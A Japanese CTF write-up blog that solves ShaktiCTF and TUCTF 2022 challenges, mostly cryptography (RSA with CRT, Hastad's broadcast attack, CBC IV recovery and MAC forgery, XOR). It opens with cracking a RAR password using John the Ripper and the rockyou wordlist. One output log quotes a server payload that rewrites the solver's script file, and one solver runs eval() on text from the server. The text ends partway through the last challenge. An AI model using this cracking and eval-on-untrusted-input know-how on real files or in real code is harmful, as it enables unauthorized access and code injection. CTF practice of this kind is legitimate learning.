このURLにアクセスし、file.rarをダウンロードする。ダウンロードしたfile.rarはパスワードがかかっているので、John the Ripperでクラックする。

$ rar2john file.rar > hash.txt
$ john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
londonbridge     (file.rar)
1g 0:00:02:18 DONE (2022-12-10 08:16) 0.007235g/s 765.4p/s 765.4c/s 765.4C/s lowrider13..locuas
Use the "--show" option to display all of the cracked passwords reliably
Session completed

パスワードは londonbridge であることがわかったので、解凍する。

$ unrar x -plondonbridge file.rar

UNRAR 6.11 beta 1 freeware      Copyright (c) 1993-2022 Alexander Roshal


Extracting from file.rar

Password of the RAR file is the password of TroubleMaker's account...


Extracting  flag.txt                                                  OK 
All OK
$ cat flag.txt
npcdhzaon{a4Rmp!_K1N5q0p_4vQfKkT1uA3R}

Vigenere暗号と推測して、https://www.dcode.fr/vigenere-cipherで復号する。ここで、consolesの結果にあったbase64文字列のデコード結果の"victory"を鍵として使う。

shaktictf{y4Yyy!_M1S5i0n_4cCoMpL1sH3D}

Eazy_peaZy (Crypto 50)

base64デコードして、バイトごとにASCIIコードで15プラスすれば復号できる。

#!/usr/bin/env python3
from base64 import *

ct = b'ZFlSXGVaVGVXbFRjamFlIVAiZFBkZmEkY1BWUmtqampqampQWFQlJCNlYyYnWCVlYyYlbg=='

flag = ''.join([chr(c + 15) for c in b64decode(ct)])
print(flag)
shaktictf{crypt0_1s_sup3r_eazyyyyyy_gc432tr56g4tr54}

secRets_And_seCReTs (Cryptography 100)

暗号化処理の概要は以下の通り。

・n: 既知の3つの数値の配列
・c: 既知の3つの数値の配列
・x % n[0] == c[0]が成り立つ。
・x % n[1] == c[1]が成り立つ。
・x % n[2] == c[2]が成り立つ。
・secret: 既知固定値
・e = 6553既知7
・ct: 既知固定値
・pow(ct, d, secret//x) == flagの数値化が成り立つ。

xはCRTで求めることができる。
n = secret // xとし、nをfactordbで素因数分解する。

n = 156613782007770984536049055700840395037085682399926189984796410929143868636172989598027406051641994725886674336805075334390044528511942285958708618671006005927130990180083143883853840126990685118290412751594654157367930730824790742241421921147161987915110899307344903473712967071752529319870067482601269289159 ** 2
  = p ** 2

このとき、phiの値は以下のようになることに気を付け、あとは通常通りのRSAの復号を行う。

phi = p * (p - 1)
#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import *

n = [8722540009234070247614687250654407242443098960521889927638169603994447523278398949052234586867149142397946752296113268097476897402751079151430185069380019,
    7748390830619438628598461672002256107736202041283980575594114738792667049612675190299231384130518428001436332199784230830361296805998178862622627821106411,
    12992001107762284853924107072566691259373024612699267823574353409729296618405485466359139269067615966447864990530610158839653182793355847359198838835594411]
c = [1411653708282913345423368557671871591664438381629501903851153161454445916121359905705692712233369895756996170441640578174610106571066191790012378520429743,
    2861865990314714540093636102814256470323315183310888629544832686169355957218120916189696143602437816851535307621641620697566853687152831782355649417978952,
    376492284239858752271882252381292364517711829294783943816555345285629896042539317245807593032505251819708007746820040182429681780320868266166620015593930]
secret = 4302040125834928853558463909476079954473400865172251180160558435767130753932883186010390855112227834689861010095690778866857294344059634143100709544931839088413113732983879851609646261868420370506958223094475800449942079286436722629516277911423054845515342792094987249059810059640127872352101234638506603087565277395480953387647118861450659688484283820336767116038031727190397533082113134466893728210621302098082671125283992902107359805546865262918787687109747546968842757321383287635483017116189825332578143804402313162547301864633478350112638450973130720295084401400762328157586821639409421465548080122760881528019152451981418066119560584988658928643613995792058313513615847754001837873387949017975912403754727304537758597079167674369192909953480861392310713676253433998929652777155332408050107725317676660176980502406301244129743702460065671633250603271650634176695472477451658931634382635748322647891956353158570635160043
e = 65537
ct = 16958627479063955348415964384163116282602743039742753852934410863378528486785270030162782732192537726709536924276654783411884139339994697205619239406660459997082991141519385345070967253589282293949945894128620519748508028990727998488399564805026414462500253524261007024303476629172149332624303860869360966809845919057766279471870925180603362418449119409436609700813481467972962774900963043970140554494187496533636616384537667808308555402187685194879588448942654070984762583024927082993513125305565020701004973206532961944433936049713847420474363949095844995122469523084865481364653146506752587869477287886906616275417

x, _ = crt(n, c)
n = secret // x
print('[+] n =', n)

p = 156613782007770984536049055700840395037085682399926189984796410929143868636172989598027406051641994725886674336805075334390044528511942285958708618671006005927130990180083143883853840126990685118290412751594654157367930730824790742241421921147161987915110899307344903473712967071752529319870067482601269289159
assert n == p ** 2

phi = p * (p - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print('[*] flag:', flag)

復号結果は以下の通り。

[+] n = 24527876714777610556168704102334063247745307067942987179946992203143782911214218738693269763284353107444558551004104842495208613554362680493609315262323088218069305109094883023250460622553819850578030167910933028392613333549556209547555445147475324578694902644739395420556980677634640744378713609298141891560253460328397733071122264628468706243972435551492706426936176969047044900758569383152320313902601091822535952698142154712130550473808314533625099780507036524949344974327532792045713711551245809959038345909568860198589805752319051021759477458800632328558389734253607892450861044270982742648526813361769154927281
[*] flag: shaktictf{w0w_you_kn0w_h0w_RSA_&_CRT_w0rks_!}
shaktictf{w0w_you_kn0w_h0w_RSA_&_CRT_w0rks_!}

cAex0r (Cryptography 100)

暗号化の処理概要は以下の通り。

・stride: 1以上27以下のランダム整数
・s1: flagの前半
・s2: flagの後半
・key: 3バイトランダム文字列
・cass(s1+s2,stride)
 ・s1+s2の各文字に対して、以下の変換をして連結。
  ・ASCIIコードが65以上90以下の場合、strideを引き、26で割った余りをインデックスとした英大文字
  ・ASCIIコードが97以上122以下の場合、strideを引き、26で割った余りをインデックスとした英小文字
  ・それ以外の場合そのまま
・c: keyと上記のXORの結果
 →ファイル出力

strideでブルートフォースし、フラグが"sha"から始まることを前提にkeyを割り出し、それを使って復号する。

#!/usr/bin/env python3
from pwn import xor

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
             return False
    return True

u_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
l_alpha = 'abcdefghijklmnopqrstuvwxyz'
flag_head = b'sha'

with open('ciphertext_15c434ca-401e-4497-b782-53050680758d.txt', 'rb') as f:
    c = f.read()

for stride in range(1, 28):
    enc_flag_head = ''
    for i in flag_head:
        enc_flag_head += l_alpha[(l_alpha.find(chr(i)) - stride) % 26]
    key = xor(enc_flag_head.encode(), c[:3])

    ct = xor(c, key)
    flag = ''
    for i in ct:
        if i >= 65 and i <= 90:
            flag += u_alpha[(u_alpha.find(chr(i)) + stride) % 26]
        elif i >= 97 and i <= 122:
            flag += l_alpha[(l_alpha.find(chr(i)) + stride) % 26]
        else:
            flag += chr(i)
    if is_printable(flag) and flag.endswith('}'):
        print(flag)
        break
shaktictf{welCom3_t0_cRyptOo_WoRLD_77846b12bfd9b91ebce67b236aa4}

d0uble_cbc (Cryptography 200)

サーバの処理概要は以下の通り。

・op: メニュー選択
・opが1の場合
 ・pt: 入力(16進文字列)
 ・ct: ptをhexデコードした後、AES-CBC暗号化したものを16進表記で表示
・opが2の場合
 ・ct: 入力(16進文字列)
 ・pt: ctをhexデコードした後、AES-CBC復号したものを16進表記で表示
・opが3の場合
 ・iv_detected: 入力(16進文字列)
 ・verify_iv: ivの16進文字列とiv_detectedが一致していたらTrue、そうでない場合はFalse
 ・verify_iv表示
 ・verify_ivがTrueの場合
  ・iv_detected: iv_detectedのhexデコード
  ・x: 入力
  ・xが'0'の場合
   ・msg: 入力(16進文字列)をhexデコード
   ・x = sign(iv_detected, key, msg)
    ・messageblocks: msgの16バイトごとの配列
    ・tag: 最後のブロックの暗号
    ・tagの16進表記を返却
   ・xを表示
  ・xが'1'の場合
   ・msg1: 入力(16進文字列)をhexデコード
   ・msg2: 入力(16進文字列)をhexデコード
   ・msg1とmsg2が同じ場合、NG
   ・msg1とmsg2が異なり、signが同じ場合、フラグを表示
・opが4の場合、終了
平文1ブロック目(P1) ^ iv --(AES暗号)--> 暗号1ブロック目(C1)
平文2ブロック目(P2) ^ C1 --(AES暗号)--> 暗号2ブロック目(C2)

上記から、適当な16バイト未満の平文を暗号化する。

P1 ^ iv --(AES暗号)--> C1

次にC1 + C1を復号する。

C1 --(AES復号)--> P1 ^ iv
C1 --(AES復号)--> P2 ^ C1

P1 ^ iv = P2 ^ C1なので、以下でivがわかる。

iv = (P2 ^ C1) ^ P1

異なる平文で最後の暗号ブロックが同じになるものを指定する必要がある。

平文1ブロック目(P1) ^ iv --(AES暗号)--> 暗号1ブロック目(C1)
平文2ブロック目(P2) ^ C1 --(AES暗号)--> 暗号2ブロック目(C2)

再び上記のイメージで考え、適当な16の平文を暗号化する。

P1 ^ iv --(AES暗号)--> C1

P1 = P1、P2 = P1 ^ iv ^ C1となるものを指定すれば、以下のように暗号化される。

P1 ^ iv --(AES暗号)--> C1
P2 ^ C1 = P1 ^ iv --(AES暗号)--> C1

どちらも最後のブロックの暗号はC1となり、同じtag(signature)が得られる。

#!/usr/bin/env python3
import socket
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

host = '65.2.136.80'
port = 30060

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = recvuntil(s, b'exit\n').rstrip()
print(data)

pt = b'ABC'
h_pt = pt.hex()
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'format\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
print(h_pt)
s.sendall(h_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = bytes.fromhex(data.split(' ')[-1])

s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = recvuntil(s, b'exit\n').rstrip()
print(data)

ct2 = ct + ct
h_ct2 = ct2.hex()
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b'decrypt\n').rstrip()
print(data)
print(h_ct2)
s.sendall(h_ct2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
pt2 = bytes.fromhex(data.split(' ')[-1])

iv = strxor(strxor(pt2[16:], ct), pad(pt, 16))
h_iv = iv.hex()
print('[+] iv:', iv.decode())

s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = recvuntil(s, b'exit\n').rstrip()
print(data)

pt = b'0123456789abcdef'
h_pt = pt.hex()
print('3')
s.sendall(b'3\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(h_iv)
s.sendall(h_iv.encode() + b'\n')
data = recvuntil(s, b'messages\n').rstrip()
print(data)
print('0')
s.sendall(b'0\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
print(h_pt)
s.sendall(h_pt.encode() + b'\n')
data = recvuntil(s, b'message\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c1 = bytes.fromhex(data)

pt2 = pt + strxor(strxor(pt, iv), c1)
h_pt2 = pt2.hex()

s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = recvuntil(s, b'exit\n').rstrip()
print(data)

print('3')
s.sendall(b'3\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(h_iv)
s.sendall(h_iv.encode() + b'\n')
data = recvuntil(s, b'messages\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b': \n').rstrip()
print(data)
print(h_pt)
s.sendall(h_pt.encode() + b'\n')
data = recvuntil(s, b': \n').rstrip()
print(data)
print(h_pt2)
s.sendall(h_pt2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

s.close()

実行結果は以下の通り。

******************************Welcome to the john's CBC server************************
You really wanna get into the system?
 then search for IV
Choose 1 option among four
         1.Encrypt the plain text
         2.Decrypt the ciphertext
         3.feed IV
         4.exit
1
I will provide the encrypted text for you
Input the plaintext in hex format

414243
cipher text for provided 60893f316b9e68c2eab9872a09923e15
******************************Welcome to the john's CBC server************************
You really wanna get into the system?
 then search for IV
Choose 1 option among four
         1.Encrypt the plain text
         2.Decrypt the ciphertext
         3.feed IV
         4.exit
2
I will provide the reasonable plaintext for you
Input the cipher text in bytes to decrypt
60893f316b9e68c2eab9872a09923e1560893f316b9e68c2eab9872a09923e15
decrypted text for provided 4142430d0d0d0d0d0d0d0d0d0d0d0d0d6094145d16e31c9084d6e97869f0577d
[+] iv: A_happy_cbc_mode
******************************Welcome to the john's CBC server************************
You really wanna get into the system?
 then search for IV
Choose 1 option among four
         1.Encrypt the plain text
         2.Decrypt the ciphertext
         3.feed IV
         4.exit
3
Provide reasonable IV to proceed further
415f68617070795f6362635f6d6f6465
Yooo... you are going good, move forward with some more courage
True
Let me see whether you are worth enough to gain my gold coins.
To prove yourself, give me two different hex-encoded messages that could sign to the same tag.
Now press '0' to get your hex inputs signed and press 1 to submit two same messages
0
Input hash encoded message:

30313233343536373839616263646566

 Tag for your message
7d4d21e02235e1fd646b36e147970d7c
******************************Welcome to the john's CBC server************************
You really wanna get into the system?
 then search for IV
Choose 1 option among four
         1.Encrypt the plain text
         2.Decrypt the ciphertext
         3.feed IV
         4.exit
3
Provide reasonable IV to proceed further
415f68617070795f6362635f6d6f6465
Yooo... you are going good, move forward with some more courage
True
Let me see whether you are worth enough to gain my gold coins.
To prove yourself, give me two different hex-encoded messages that could sign to the same tag.
Now press '0' to get your hex inputs signed and press 1 to submit two same messages
1

Message #1:
30313233343536373839616263646566

Message #2:
303132333435363738396162636465660c237bb26670ae953f3034dc499c0c7f
b'shaktictf{double_cheese_double_mac_yummyyyy_4120686170707920636263206d6f6465}'
shaktictf{double_cheese_double_mac_yummyyyy_4120686170707920636263206d6f6465}

TUCTF 2022 Writeup

この大会は2022/12/3 2:00(JST)~2022/12/5 2:00(JST)に開催されました。
今回もチームで参戦。結果は4915点で475チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。

Join Discord! (Informational)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

TUCTF{7h4nk5_f0r_j01n1n6_u5}

Leisurely Math (Programming)

$ nc chals.tuctf.com 30202
8903 + 1765 - 8007
Answer: 

繰り返し、四則演算の答えをevalで答えていけばよいが、途中でスクリプトを変更するコードが出てくるので、その場合はevalを使わないようにする。

#!/usr/bin/env python3
import socket
import string

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chals.tuctf.com', 30202))

i = 1
while True:
    print('Round: %d' % i)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data.startswith('exec'):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        ans = eval(data)
    elif data[0] in string.digits:
        ans = eval(data)
    else:
        break
    data = recvuntil(s, b': ')
    print(data + str(ans))
    s.sendall(str(ans).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    i += 1

実行結果は以下の通り。

Round: 1
5996 - 2119 * 1307
Answer: -2763537
Correct!
Round: 2
8663 - 8754 - 9806 * 1984 + 382 * 7771 - 7217 + 4166
Answer: -16489724
Correct!
Round: 3
7875 - 4127 + 825 + 2391 * 5861 * 8656 - 9523 * 4459 * 3567 * 2936
Answer: -444582064432955
Correct!
        :
        :
Round: 217
384 * 2989 + 3824 + 6135 - 1115 - 6785 - 8299 - 95 + 4441 + 414
Answer: 1146296
Correct!
Round: 218
exec('\nimport os\nscript_path = os.path.realpath( __file__ )\nnew_program = ""\nwith open( script_path, "r" ) as f:\n    lines = f.readlines()\n    for line in lines:\n        for char in line:\n            if char.isalpha():\n                new_program += chr( ord( char ) + 1 )\n            else:\n                new_program += char\nwith open( script_path, "w" ) as f:\n    f.write( new_program )\nos.system( "cls" )\nos.system( "clear" )\n')
5722 - 2913 - 2852 + 4059 + 1274 - 2961 + 979 + 1529 - 9484 + 4831 - 330
Answer: -146
Correct!
Round: 219
3886 * 6860 * 7266 - 4660 * 2981 + 6424 * 7058 - 7752 - 7666
Answer: 193728171074
Correct!
        :
        :
Round: 227
7644 * 165 - 591 - 3277 - 5040 - 2399 + 6162 + 6874
Answer: 1262989
Correct!
Round: 228
3299 + 2869 - 698 - 1912 - 1759 * 7580 * 4449
Answer: -59319492222
Correct!
Round: 229
Here is your flag: TUCTF{7h4nk5_f0r_74k1n6_7h1n65_4_l177l3_5l0w_4268285}
TUCTF{7h4nk5_f0r_74k1n6_7h1n65_4_l177l3_5l0w_4268285}

That One RSA Challenge (Cryptography)

$ nc chals.tuctf.com 30003
That one RSA Challenge:

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:10683056179532275497494322908531698584344422075416105799583765788674095581794757581679062276473318546247611230358286388481761328254612195488217194458976062128428044702531786323379051979941573794294687702619017493990782102020021363739169973928110789262754216832205575535500949117118001027399864796224562441446926260573132225906490350769309555711559208398934760123161

e:5

c:8176566829021528930311087337684299656651175996237050248928778822664811561182426484128445467162985030874776007692440517236408539231151511454489256999578335906317713460573759316655060037794428043630027064839498917698728550477723280424358111591441943069024931967203574624902159252837306386334274180905622013082718527756027784085834099753091678523356301420646238112875

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:6887879171986104574373642945440619457908229375975304899880685868832943411735297206066352105744348146004806196756354114218116486611361043423428861682525854438882874870097416661654165321891064197049309913602081537960658790294231234627260856114161173287601067783735612151828577847781069158844998327582452213264058182688584580147443133837362042883406337342404940544361

e:5

c:4148676611576085237922195161446112435729578569070212737206322240063752390283190299422079072117944195256177533534862402415121898193828489180436429880219270889850632294941938463149292958581407387522369990049543234115761666709491486093520537162964731927621789946026980192125724639638737591303289779711057319610427896767911106583023234089933701878246800161241364129816

Options:
1) Generate RSA Message
2) Exit

eが5固定のようなので、n, cのペアを5つ集め、Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chals.tuctf.com', 30003))

ns = []
cs = []
for _ in range(5):
    data = recvuntil(s, b'Exit\n').rstrip()
    print(data)
    print('1')
    s.sendall(b'1\n')

    for i in range(9):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if i == 3:
            n = int(data.split(':')[1])
            ns.append(n)
        elif i == 7:
            c = int(data.split(':')[1])
            cs.append(c)

e = 5
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

That one RSA Challenge:

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:7889013948113429798278972302671539175301293488242917671552573119651777676116328810587304690958329450540775764834953963992797755174487687308119082196203088232372806787156332980818261513321073406761936392321253331199806081477118647282987638479107559162387137969310056422048619776021999170787496257959124072694480190136804267975007469172872410603181761147868732789957

e:5

c:5953486994469679770285994503441003952127560441626983862332695554856261594053423814133078554689506112962517950876539765501175542911909148343795214564714450128641479662515240905344017332659420683722785908359509378975375439950023220409444882621736638309408922366910705785098535747643112190526349426892500281359982963293081336555101529088051713582355893908594036408832

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:9781918828032202227301020862283271351666744219317849324603218722306039646724834308470648898200070746966872879113627123749676229395958888244888615900825777825042111873088592488800534542293607979803443131376966471789783530459733678199040741773600277818533651486052333491184170574402584256105767797180796009373317056502606910428112243052274480898092946461179057423431

e:5

c:8170113435944326464524075068289575750545358845793484288314334989819473883035099498726712329886195759849345290631801824127952665088605205896233921421311476593732620276426091140506800339155164805502668141006548253302511728247173162090233490098087729307680305536262452712013765780411609184894552826841667345058878520300233381003870355220059980005522578719569450573198

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:5769662059493037326838681424376503062239328448812114038636566871193778089935047505302884031942579397301957967677706758993329924467218343606856460050058650455316604846034176713296394496664662112653080400130696448468600679383659096811757444833061954008631101371962483132539367134706598643240571487668085947066434513349610075539154795764258384681522588385706325517619

e:5

c:3629592579037272026198717660412535408515221248858233088365765439386846963506043926673998695613192810556232586776023771897215004262441678528361237841398460322211633765670094194192859707971613533189413078948800691532583096972856427504235972329249902748645859657904398970632271043856293772688493268839788433269868362990626308290043238343210552466272424707569581194799

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:12672626983347050769700482064853150433107232512886489783526954121293704531127239705724436679877991425030448723475239879264611762869474150595506312823796777459367225473044132028457313494861340105891319860223889804606254706484908231895459388131011195397315857928409212368475959655401650638538494730190683372092522700229306705885837860397101516387633166140379688965427

e:5

c:7055583151890955925810944571879137791643669877164314487042597917025698562615723363540387754263336918660996676704894308928828731364030459670994591146698604908799175872744040737989020760386902071371620252469362467186297027528215014806530069665443574691178609031670559029122986166342612056477057241036987428886031827132962830849264673260937763122026859588753663803894

Options:
1) Generate RSA Message
2) Exit
1

Generating RSA...

n:6208342415876278607018244913736867659243485506847518281452593363925200041710188544123513552854427547365398266478461164952411281118259679890135871403169129139461884659610613791173072313015077905720089254421440256014907704206795531671204245879459492289676230342806734749392407834860522922765749970031180284138983779570050788310689670216150054750074864358949046129999

e:5

c:1222563905891228016808738307424690658174508026564281099701998913991287576407461876171772734361400755177373008474472491999997009555847720114492657732087810911681880774108712182858615389688812655640172979228877810604313802042778266303319003129620789641852808910781536731922579153047856223486067540989712829237856211153768250987156120927668931277322063251279404888769

TUCTF{0bl1g4t0ry_RSA_chall_l0l}
TUCTF{0bl1g4t0ry_RSA_chall_l0l}

A Sheep Jumps Over Fence (Cryptography)

まずhexデコードする。すると、base64文字列になるので、デコードする。

          111111111122222222223333333333444444444455555555556666
0123456789012345678901234567890123456789012345678901234567890123
TFiacmaraeinyghaU{swoegotctdprysCtiemsemauyctacsThslesfdsraropl}

転置暗号になっていて、16バイトごとに文字を結合していけば、フラグになる。

#!/usr/bin/env python3
from base64 import *

with open('sheep.enc', 'r') as f:
    enc = eval(f.read())

length = (enc.bit_length() + 7) // 8
b64 = enc.to_bytes(length, 'big')
print('[+] Decode 1:', b64.decode())

dec = b64decode(b64)
print('[+] Decode 2:', dec.decode())

flag = ''
for i in range(16):
    for j in range(len(dec) // 16):
        flag += chr(dec[i + j * 16])
print('[*] flag:', flag)

実行結果は以下の通り。

[+] Decode 1: VEZpYWNtYXJhZWlueWdoYVV7c3dvZWdvdGN0ZHByeXNDdGllbXNlbWF1eWN0YWNzVGhzbGVzZmRzcmFyb3BsfQ==
[+] Decode 2: TFiacmaraeinyghaU{swoegotctdprysCtiemsemauyctacsThslesfdsraropl}
[*] flag: TUCTF{thisisawelcomemessagefromdatasecurityandcryptographyclass}
TUCTF{thisisawelcomemessagefromdatasecurityandcryptographyclass}

More Effort (Cryptography)

暗号化処理の概要は以下の通り。

・rsa = RSA()
 ・rsa.p: 512ビット素数
 ・rsa.s = 0
 ・i: 1以上18000000未満に対して、以下を実行
  ・rsa.s += pow(i, rsa.p-2, rsa.p)
 ・rsa.s = rsa.s % rsa.p
 ・rsa.q: rsa.sの次の素数
 ・rsa.n = rsa.p * rsa.q
 ・rsa.phi = (rsa.p - 1) * (rsa.q - 1)
 ・rsa.e = 65537
 ・rsa.d = pow(rsa.e, -1, rsa.phi)
・rsa.p、rsa.eを出力
・c = pow(<フラグの数値>, rsa.e, rsa.n)
・cを出力

以下の式が成り立ち、右辺の方の計算の方が早いので、置き換えて、sを割り出し、qを算出し復号する。

pow(i, rsa.p-2, rsa.p) = pow(i, -1, rsa.p)
#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

p = 11545307730112922786664290405312669819594345207377186481347514368962838475959085036399074594822885814719354871659183685801279739518405830244888530641898849
e = 65537
c =  114894293598203268417380013863687165686775727976061560608696207173455730179934925684529986102237419507146768083815607566149240438056135058988227916482404733131796310418493418060300571541865427288945087911872630289527954636816219365941817260989104786329938318143577075200571833575709614521758701838099810751

s = 0
for i in range(1, 18000000):
    s += pow(i, -1, p)
s = s % p
q = gmpy2.next_prime(s)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
TUCTF{syqow82pam_%shsjQF; ^7dagsWCpsp_#aes}

Two Part Hashing (Cryptography)

XORと推測し、鍵を求め、PDFを復号する。

#!/usr/bin/env python3
with open('crypto.enc.pdf', 'rb') as f:
    enc = f.read()

PDF_HEAD = b'%PDF-1.'

key = []
for i in range(len(PDF_HEAD)):
    key.append(enc[i] ^ PDF_HEAD[i])

assert key[:3] == key[4:7]
key = key[:4]

dec = b''
for i in range(len(enc)):
    dec += bytes([enc[i] ^ key[i % len(key)]])

with open('flag.pdf', 'wb') as f:
    f.write(dec)

復号したPDFには、ハッシュに関する内容が書かれ、どこにもフラグは見当たらない。PDFのプロパティを見ると、作成者に以下が設定されている。

nc chal.tuctf.com 30000
$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 1
[ + ] Hashing...
[ + ] Hashed data: ba89

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 2
[ + ] Hidden flag: fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5

このハッシュアルゴリズムからフラグを求める必要があるようだ。

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 11
[ + ] Hashing...
[ + ] Hashed data: 9362

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 12
[ + ] Hashing...
[ + ] Hashed data: 9463

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 13
[ + ] Hashing...
[ + ] Hashed data: 9564

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 111
[ + ] Hashing...
[ + ] Hashed data: 9362ba89

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1   
[ + ] Enter data to hash: 1211
[ + ] Hashing...
[ + ] Hashed data: 94639362

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: 21
[ + ] Hashing...
[ + ] Hashed data: 9563

2バイトごとに対応するhashが決まるようだ。もう少し規則を見てみる。

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: !!
[ + ] Hashing...
[ + ] Hashed data: 6342

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: "!
[ + ] Hashing...
[ + ] Hashed data: 6543

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
